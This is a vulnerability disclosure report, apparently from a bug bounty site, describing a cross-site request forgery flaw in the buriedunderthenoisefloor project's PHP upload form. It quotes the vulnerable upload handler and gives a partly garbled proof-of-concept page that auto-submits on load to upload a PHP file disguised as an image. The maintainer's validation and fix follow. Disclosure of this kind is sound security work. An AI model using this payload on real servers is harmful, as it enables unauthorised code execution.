Cross-Site Request Forgery (CSRF) in jspark311/buriedunderthenoisefloor


Reported on

Oct 13th 2021


Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application. is vulnerable to Cross-Site Request Forgery as shown below. The vulnerability allows to upload a php file without user interaction.

Proof of concept


if (isset($_FILES) && isset($_FILES['upfile'])) {
    if ($_FILES['upfile']['error'] == 0) {
        if (in_array($_FILES['upfile']['type'], $allowed)) {
            $extension = end(explode('.', $_FILES['upfile']['name']));
            $file_path  = 'uploads/'.hash('sha256', $_FILES['upfile']['tmp_name'].time()).'.'.$extension;
            if (move_uploaded_file($_FILES['upfile']['tmp_name'], $file_path)) {
                $img = file_get_contents($file_path);
                $state = 1;


Create a new file csrf_upload.html in any location with the following content:
In this example , the path is http://localhost/BuriedUnderTheNoiseFloor-master/form.php change if needed:

        function uploader(){
            var form = document.getElementById('myForm');
            var xhr  = new XMLHttpRequest();             
            var data = new FormData(form);               
            var content = '<?php phpinfo(); ?>'; 
            var blob = new Blob([content], { type: "image/jpg"});
            data.append("upfile", blob,"csrftest.php");
  "post", form.action);      // open connection
    <body onload=uploader()>
        <form id="myForm" action="http://localhost/BuriedUnderTheNoiseFloor-master/form.php">
            <input id="name" type="text" />
            <button onclick="uploader()">Click</button>

Open csrf_upload.html file in a browser and observe a new php file has been created in uploads directory.
Thus making rce without interaction


The vulnerability allows an attacker to execute commands on the server that is running an application, and typically fully compromise the application and all its data.

We have contacted a member of the jspark311/buriedunderthenoisefloor team and are waiting to hear back 7 months ago
We have sent a follow up to the jspark311/buriedunderthenoisefloor team. We will try again in 7 days. 7 months ago
We have sent a second follow up to the jspark311/buriedunderthenoisefloor team. We will try again in 10 days. 7 months ago
We have sent a third and final follow up to the jspark311/buriedunderthenoisefloor team. This report is now considered stale. 7 months ago
J. Ian Lindsay
3 months ago


Just noticed this. This complaint is valid, but it's also only applicable for the test/demonstration script. It is not intended that form.php be used in a deployed application.

J. Ian Lindsay validated this vulnerability 3 months ago
hitisec has been awarded the disclosure bounty
The fix bounty is now up for grabs
J. Ian Lindsay
3 months ago


This has been fixed by ensuring the PHP execution policy is disable for the upload directory on the webserver.

J. Ian Lindsay confirmed that a fix has been merged on 404a45 3 months ago
The fix bounty has been dropped
to join this conversation